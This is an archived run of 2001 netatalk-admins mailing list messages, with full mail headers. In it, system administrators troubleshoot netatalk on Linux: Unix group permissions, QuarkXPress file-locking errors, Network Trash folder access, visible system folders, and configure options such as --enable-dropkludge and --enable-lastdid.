	for <netatalk-admins@umich.edu>; Mon, 9 Jul 2001 08:24:09 +0200
Message-ID: <3B494E05.2030504@infesto.de>
Date: Mon, 09 Jul 2001 08:24:05 +0200
From: Sebastian Frankfurt <sf@infesto.de>
Reply-To: fortune@gmx.de
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2+) Gecko/20010705
X-Accept-Language: de-de, de, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: netatalk only uses one unix group to identify a persons permissions :-(
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello,

I have set up a netatalk with

   netatalk-1.4b2+asun2.1.3-7

on

   RedHat 6.2 (Kernel 2.2.17-6)



Okay, I made a user 'fred' (uid=500) with a primary group 'users' (gid=100).
The user fred is also member of the following groups

   admin    (gid=101)
   software (gid=102)
   develop  (gid=103)
   fred     (gid=500)

A look into /var/log/messages shows me, that netatalk
always identifies 'fred' with only ONE group -> 'users'.

His home directory is under /users/fred

/users        -> root.root  rwx r-x r-x

/users/fred   -> fred.fred  rwx r-x ---


It is impossible for user 'fred' to write to it's
homedirectory, because the group of it's home is
group 'fred' (gid=500) but he will always identified
with group 'users' (gid=100).

Is there a configuration option, to tell netatalk
also to get all groups where 'fred' is in?

On UNIX those permission settings are working, because
the owner settings allows 'fred' to write into his
home.


I DO NOT WANT TO CHANGE THE PERMISSIONS.

I need that users are able to write to directories
where the group is not their primary group!!!


What other solutions could you provide?


thanx in advance,

Sebastian


PS: Please do a cc to fortune@gmx.de 'cause I'm not
     in the list ;-)


From netatalk.administrators-errors@umich.edu  Mon Jul  9 03:42:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA13479
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Jul 2001 03:42:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA15807
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Jul 2001 03:42:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA15774
	for netatalk.administrators-members@umich.edu; Mon, 9 Jul 2001 03:42:29 -0400 (EDT)
Received: from mail.ihonk.com (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA15710
	for <netatalk-admins@umich.edu>; Mon, 9 Jul 2001 03:42:28 -0400 (EDT)
Received: from [192.168.0.151] (a12 [192.168.0.151])
	by mail.ihonk.com (8.11.0/8.11.0) with ESMTP id f697gKM26020;
	Mon, 9 Jul 2001 00:42:20 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 09 Jul 2001 00:42:11 -0700
Subject: Re: chown, DID & pam...
From: Steve Freitas <sflist@ihonk.com>
To: Chris Herrmann <chris@faredge.com.au>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B76EAE63.5C47%sflist@ihonk.com>
In-Reply-To: <000801c1080d$9831eb90$c40e8ec6@faredge.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> One computer is experiencing particular problems - if I open quark, and
> attempt to save a document, it fails with a message "file is locked". An
> empty file is created in the directory, which is then locked.

There are known problems between Quark and Netatalk (as well as some other
ASIP servers, not that it makes it any more acceptable). Quark has some
strange behavior during saving which conflicts with Netatalk. What versions
are you using of both? What version of Mac OS?

The workaround is to copy the Quark file to the client, work on it and save
it there, then copy it back when finished, until somebody figures out
exactly what silly thing Quark is doing and creates a fix for Netatalk.

Steve


From netatalk.administrators-errors@umich.edu  Mon Jul  9 03:44:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA13530
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Jul 2001 03:44:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA19331
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Jul 2001 03:44:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA19316
	for netatalk.administrators-members@umich.edu; Mon, 9 Jul 2001 03:44:18 -0400 (EDT)
Received: from mail.ihonk.com (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA19283
	for <netatalk-admins@umich.edu>; Mon, 9 Jul 2001 03:44:17 -0400 (EDT)
Received: from [192.168.0.151] (a12 [192.168.0.151])
	by mail.ihonk.com (8.11.0/8.11.0) with ESMTP id f697i7M26028;
	Mon, 9 Jul 2001 00:44:07 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 09 Jul 2001 00:43:59 -0700
Subject: Re: netatalk only uses one unix group to identify a persons
	permissions :-(
From: Steve Freitas <sflist@ihonk.com>
To: <fortune@gmx.de>, Sebastian Frankfurt <sf@infesto.de>,
        <netatalk-admins@umich.edu>
Message-ID: <B76EAECE.5C48%sflist@ihonk.com>
In-Reply-To: <3B494E05.2030504@infesto.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

>I have set up a netatalk with
>
>   netatalk-1.4b2+asun2.1.3-7
>
>on
>
>   RedHat 6.2 (Kernel 2.2.17-6)

I don't know if this has been fixed, but your version of netatalk is pretty
old. We're at 1.5pre6. See netatalk.sourceforge.net. Give it a try and see
if the problem persists.

Steve


From netatalk.administrators-errors@umich.edu  Mon Jul  9 03:56:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA13886
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Jul 2001 03:56:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA24616
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Jul 2001 03:56:36 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA24589
	for netatalk.administrators-members@umich.edu; Mon, 9 Jul 2001 03:56:35 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id DAA24474
	for <netatalk-admins@umich.edu>; Mon, 9 Jul 2001 03:56:33 -0400 (EDT)
Received: (qmail 10064 invoked from network); 10 Jul 2001 03:57:34 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 10 Jul 2001 03:57:34 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Steve Freitas'" <sflist@ihonk.com>,
        "'netatalk-admins'" <netatalk-admins@umich.edu>
Subject: RE: chown, DID & pam...
Date: Mon, 9 Jul 2001 17:55:48 +1000
Message-ID: <000a01c1084c$919e9370$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <B76EAE63.5C47%sflist@ihonk.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

:o)

have worked out that fix already! unfortunately the "business process" isn't
(understandably) too keen on this. It also appears for Photoshop 5 docs, but
not for Dreamweaver, simple text, or plain-jane file copies... (the picture
grows murkier!)

Have been messing around with a 2nd box, and the problem doesn't appear if
if I only enable the uam uam_guest.so, and connect as a ghost to a the
share, where the share has 0777 permissions and is owned by nobody.nobody.
Obviously, this isn't an acceptable long term solution.

I'm using pam for authentication. Have copied appropriate pam files as per
documentation.

I'm also getting a lot of DID errors, will try --enable-lastdid tonight...

Quark 4.1
Netatalk 1.5pre6
Linux RH 7.1 kernel 2.4.0 with Appletalk support
Mac OS 9.xx

We could, of course offer to setup a netatalk box for Quark (it's free! Has
multi-platform support! get one today!) and I'm sure that Quark will work
out what's going on soon enough... <evil grin>

Cheers,

Chris

-----Original Message-----
From: Steve Freitas [mailto:sflist@ihonk.com]
Sent: Monday, 9 July 2001 17:42
To: Chris Herrmann; netatalk-admins
Subject: Re: chown, DID & pam...


> One computer is experiencing particular problems - if I open quark, and
> attempt to save a document, it fails with a message "file is locked". An
> empty file is created in the directory, which is then locked.

There are known problems between Quark and Netatalk (as well as some other
ASIP servers, not that it makes it any more acceptable). Quark has some
strange behavior during saving which conflicts with Netatalk. What versions
are you using of both? What version of Mac OS?

The workaround is to copy the Quark file to the client, work on it and save
it there, then copy it back when finished, until somebody figures out
exactly what silly thing Quark is doing and creates a fix for Netatalk.

Steve



From netatalk.administrators-errors@umich.edu  Mon Jul  9 06:28:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA17081
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Jul 2001 06:28:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id GAA29819
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Jul 2001 06:28:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA29804
	for netatalk.administrators-members@umich.edu; Mon, 9 Jul 2001 06:28:44 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id GAA29721
	for <netatalk-admins@umich.edu>; Mon, 9 Jul 2001 06:28:42 -0400 (EDT)
Received: (qmail 10688 invoked from network); 10 Jul 2001 06:29:42 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 10 Jul 2001 06:29:42 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'netatalk-admins'" <netatalk-admins@umich.edu>
Subject: and yet muddier
Date: Mon, 9 Jul 2001 20:27:53 +1000
Message-ID: <000f01c10861$d09a7d40$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <000a01c1084c$919e9370$c40e8ec6@faredge.com.au>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

the picture grows muddier yet...

If i remove all semblances of security, and load only uams_guest.so, and get
everyone to connect as guest, then 1 of the users can use the network trash,
and all of them appear to be saving ok / using quark ok...

the latest configure/build was:

#
./configure  --prefix=/usr/local/netatalk --mandir=/usr/local/man --sysconfd
ir=/etc/netatalk --w
ith-config-dir=/etc/netatalk --with-pam --with-shadow --with-ssl-dir=/usr/lo
cal/openssl --enable-t
imelord --enable-lastdid --enable-tcp-wrappers --with-flock-locks

I added --enable-lastdid, --enable-tcp-wrappers, and --with-flock-locks

arrghhhh.... rapidly getting less happy.

Don't penguins eat apples? Maybe if apples looked more like fish... no, that
thought's goin' nowhere. Time to go home.

Users who can't "trash" get a "you can't store this in the trash folder,
delete immediately" message which they can ok/cancel.

As far as I can see, there's no difference between users/macs, so why the
disparity in behaviour? there are no messages about any of this in
/var/log/messages. All mac users have the same version of tcp/ip, open
transport, appletalk (2.7.4). all users are logged in as guest.

arggh!

-----Original Message-----
From: Chris Herrmann [mailto:chris@faredge.com.au]
Sent: Monday, 9 July 2001 17:56
To: 'Steve Freitas'; 'netatalk-admins'
Subject: RE: chown, DID & pam...


:o)

have worked out that fix already! unfortunately the "business process" isn't
(understandably) too keen on this. It also appears for Photoshop 5 docs, but
not for Dreamweaver, simple text, or plain-jane file copies... (the picture
grows murkier!)

Have been messing around with a 2nd box, and the problem doesn't appear if
if I only enable the uam uam_guest.so, and connect as a ghost to a the
share, where the share has 0777 permissions and is owned by nobody.nobody.
Obviously, this isn't an acceptable long term solution.

I'm using pam for authentication. Have copied appropriate pam files as per
documentation.

I'm also getting a lot of DID errors, will try --enable-lastdid tonight...

Quark 4.1
Netatalk 1.5pre6
Linux RH 7.1 kernel 2.4.0 with Appletalk support
Mac OS 9.xx

We could, of course offer to setup a netatalk box for Quark (it's free! Has
multi-platform support! get one today!) and I'm sure that Quark will work
out what's going on soon enough... <evil grin>

Cheers,

Chris


From netatalk.administrators-errors@umich.edu  Mon Jul  9 07:53:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA18614
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Jul 2001 07:53:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA15042
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Jul 2001 07:53:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA15016
	for netatalk.administrators-members@umich.edu; Mon, 9 Jul 2001 07:53:19 -0400 (EDT)
Received: from mail.mediamatic.nl (mark.mediamatic.nl [194.109.8.128] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA14950
	for <netatalk-admins@umich.edu>; Mon, 9 Jul 2001 07:53:17 -0400 (EDT)
Received: from [194.109.8.191] (HELO mediamatic.nl)
  by mail.mediamatic.nl (CommuniGate Pro SMTP 3.4.3)
  with ESMTP id 121091 for netatalk-admins@umich.edu; Mon, 09 Jul 2001 13:53:17 +0200
Sender: ralph@mediamatic.nl
Message-ID: <3B499B2D.3F51A80B@mediamatic.nl>
Date: Mon, 09 Jul 2001 13:53:17 +0200
From: Ralph de Rijke <ralph@mediamatic.nl>
Organization: Mediamatic IP
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17-21mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: TheFindByContentFolder, TheVolumeSettingsFolder, visibility issue
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Hi all,


Two of my linux boxes provide netatalk exports, both provided by  
netatalk-1.4b2+asun2.1.3-6.i386.rpm. One runs Red Hat (kernel
2.2.12-20) and the other Mandrake (kernel 2.2.17-21mdksecure). 

In the RH-exported directory, the files TheFindByContentFolder,
TheVolumeSettingsFolder and Network Trash Folder are all invisible to
Mac clients. This is a Good Thing.

In the Mandrake-exported directory, however, the Network Trash Folder
file is
invisible but the other two are visible. Removing them manually works
for the duration of the session, but when the connection is broken and
re-established they reappear.

The file ownerships and permissions are identical across both systems.

I don't wants clients to see these files. Could somebody explain what
they do, and what anomaly might explain my situation? Thanks!

Ralph de Rijke


-- 
Ralph de Rijke, Linux System Administrator
Mediamatic IP, Prins Hendrikkade 192, Amsterdam
Postbus 17490, 1001 JL Amsterdam / www.mediamatic.nl

"The world is now too dangerous for anything less than Utopia." 
R. Buckminster Fuller

From netatalk.administrators-errors@umich.edu  Mon Jul  9 09:13:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA20663
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Jul 2001 09:13:42 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA01415
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Jul 2001 09:13:42 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA01401
	for netatalk.administrators-members@umich.edu; Mon, 9 Jul 2001 09:13:42 -0400 (EDT)
Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA01348
	for <netatalk-admins@umich.edu>; Mon, 9 Jul 2001 09:13:40 -0400 (EDT)
Received: from [195.20.224.209] (helo=mrvdom02.schlund.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 15Jar5-00045m-00
	for netatalk-admins@umich.edu; Mon, 9 Jul 2001 15:13:39 +0200
Received: from a3cd2.pppool.de ([213.6.60.210])
	by mrvdom02.schlund.de with esmtp (Exim 2.12 #2)
	id 15Japi-0000Vl-00
	for netatalk-admins@umich.edu; Mon, 9 Jul 2001 15:12:14 +0200
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 09 Jul 2001 15:10:30 +0200
Subject: DSI server quantum
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B76F7629.298D3%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Would a kind soul please explain to me the effects of tweaking the
DSI server quantum ("-server_quantum" option in afpd.conf)?

Furthermore, is the value to be entered the number of bits or Bytes?

tia,
-Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Jul  9 09:16:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA20946
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Jul 2001 09:16:10 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA05664
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Jul 2001 09:16:10 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA05634
	for netatalk.administrators-members@umich.edu; Mon, 9 Jul 2001 09:16:09 -0400 (EDT)
Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA05597
	for <netatalk-admins@umich.edu>; Mon, 9 Jul 2001 09:16:08 -0400 (EDT)
Received: from [195.20.224.209] (helo=mrvdom02.schlund.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 15JatT-0004Em-00
	for netatalk-admins@umich.edu; Mon, 9 Jul 2001 15:16:07 +0200
Received: from a3cd2.pppool.de ([213.6.60.210])
	by mrvdom02.schlund.de with esmtp (Exim 2.12 #2)
	id 15Japb-0000Vl-00
	for netatalk-admins@umich.edu; Mon, 9 Jul 2001 15:12:07 +0200
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 09 Jul 2001 15:10:30 +0200
Subject: Re: and yet muddier
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B76F6EE9.298D2%ts@visual-s.de>
In-Reply-To: <000f01c10861$d09a7d40$c40e8ec6@faredge.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 01-07-09 12:27 +0200, Chris Herrmann wrote:

> If i remove all semblances of security, and load only uams_guest.so, and get
> everyone to connect as guest, then 1 of the users can use the network trash,
> and all of them appear to be saving ok / using quark ok...

Chris, try to compile with --enable-dropkludge, IMO that's
an essential if you want to work off your netatalk server with
QuarkXPress.

btw, I don't remember the details anymore -- but I have better luck
with byte range locking instead of flock-locks.

hth, -Thomas


-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Jul  9 20:39:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA12454
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 9 Jul 2001 20:39:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA28520
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 9 Jul 2001 20:39:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA28508
	for netatalk.administrators-members@umich.edu; Mon, 9 Jul 2001 20:39:17 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA28415
	for <netatalk-admins@umich.edu>; Mon, 9 Jul 2001 20:39:14 -0400 (EDT)
Received: (qmail 13976 invoked from network); 10 Jul 2001 20:40:29 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 10 Jul 2001 20:40:29 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Netatalk-Admins'" <netatalk-admins@umich.edu>
Subject: RE: and yet muddier
Date: Tue, 10 Jul 2001 10:38:43 +1000
Message-ID: <001001c108d8$acc5d910$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <B76F6EE9.298D2%ts@visual-s.de>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Thanks Thomas, will try later today. The problems weren't solved by what I
tried last night - they only appear when several people are using the
server, however, over an hour or so. Some other strange behaviour - first
person on can use network trash, but noone else can.

Grr!

Is anyone able to explain why I should/shouldn't use

--enable-lastdid

and

--with-flock-locks

The documentation didn't provide many clues as to why you would choose to
use them. Also, as I'm running it on a Redhat System, should I use:

--enable-redhat

?

Many thanks,

Chris

-----Original Message-----
From: Thomas Schierle [mailto:ts@visual-s.de]
Sent: Monday, 9 July 2001 23:11
To: Netatalk-Admins
Subject: Re: and yet muddier


On 01-07-09 12:27 +0200, Chris Herrmann wrote:

> If i remove all semblances of security, and load only uams_guest.so, and
get
> everyone to connect as guest, then 1 of the users can use the network
trash,
> and all of them appear to be saving ok / using quark ok...

Chris, try to compile with --enable-dropkludge, IMO that's
an essential if you want to work off your netatalk server with
QuarkXPress.

btw, I don't remember the details anymore -- but I have better luck
with byte range locking instead of flock-locks.

hth, -Thomas


--
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Tue Jul 10 04:02:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA22647
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 10 Jul 2001 04:02:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA17442
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 10 Jul 2001 04:02:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA17413
	for netatalk.administrators-members@umich.edu; Tue, 10 Jul 2001 04:02:23 -0400 (EDT)
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA17340
	for <netatalk-admins@umich.edu>; Tue, 10 Jul 2001 04:02:21 -0400 (EDT)
Received: from [195.20.224.209] (helo=mrvdom02.schlund.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 15JsTN-0003e8-00
	for netatalk-admins@umich.edu; Tue, 10 Jul 2001 10:02:21 +0200
Received: from b0754.pppool.de ([213.7.7.84])
	by mrvdom02.schlund.de with esmtp (Exim 2.12 #2)
	id 15JsTM-00084t-00
	for netatalk-admins@umich.edu; Tue, 10 Jul 2001 10:02:20 +0200
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Tue, 10 Jul 2001 10:00:43 +0200
Subject: Re: and yet muddier
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B77081AD.298F7%ts@visual-s.de>
In-Reply-To: <001001c108d8$acc5d910$c40e8ec6@faredge.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 01-07-10 02:38 +0200, Chris Herrmann wrote:

> On 01-07-09 15:10 +0200, Thomas Schierle wrote:
>
> Thanks Thomas, will try later today. The problems weren't solved by what I
> tried last night - they only appear when several people are using the
> server, however, over an hour or so. Some other strange behaviour - first
> person on can use network trash, but noone else can.

my guess: multi user network trash needs byte range locking -- a Macintosh
client who logs in looks for the first non-locked byte in the file "trashcan
usage map" and uses the trashcan associated with that byte

> Grr!
> 
> Is anyone able to explain why I should/shouldn't use
> 
> --enable-lastdid

perhaps you should use lastdid? It does provide true unique non-permanent
DIDs which are preferable over non-unique permanent DIDs

> and
> 
> --with-flock-locks

I revisited my server (byte range locking) yesterday opening Quark files
from the server: "file in use" when I try to save an altered file; on "save
as" the file is written to the server but I get a "file in use" error after
the file is written. (QuarkXPress Passport 4.1)

With flock-locks Quark files don't get locked at all for me (Suse 7.0) -- I
was able to open a file that's open in Quark 4.1 a second time using a copy
of Quark 3.32 running at the same client

> The documentation didn't provide many clues as to why you would choose to
> use them. Also, as I'm running it on a Redhat System, should I use:
> 
> --enable-redhat

the redhat option provides you with a startup script adjusted to Red Hats
startup machinery, I don't know why you shouldn't use it
 
>> Chris, try to compile with --enable-dropkludge, IMO that's
>> an essential if you want to work off your netatalk server with
>> QuarkXPress.

again, try: --enable-dropkludge

>> btw, I don't remember the details anymore -- but I have better luck
>> with byte range locking instead of flock-locks.

my testing as of yesterday did remind me to my problems with file locking:
because I don't work off of the server I simply preferred a (more or less)
working file locking system over saving Quark files ...

good luck,
-Thomas

ps, I'm on vacation from July 10, 2001 to July 19, 2001

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Tue Jul 10 10:45:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA01882
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 10 Jul 2001 10:45:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA18895
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 10 Jul 2001 10:45:33 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA18862
	for netatalk.administrators-members@umich.edu; Tue, 10 Jul 2001 10:45:32 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA18754
	for <netatalk-admins@umich.edu>; Tue, 10 Jul 2001 10:45:28 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Tue, 10 Jul 2001 07:45:17 -0700
Message-Id: <sb4ab28d.051@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Tue, 10 Jul 2001 07:44:43 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: and yet muddier
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_E1BB9CED.A8C9A0F5"

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=_E1BB9CED.A8C9A0F5
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

Actually, this is because the client creates the Network Trash folder if =
it doesn't exist.  Since it's created by the client, the first client to =
connect creates it and it is only writeable by them.

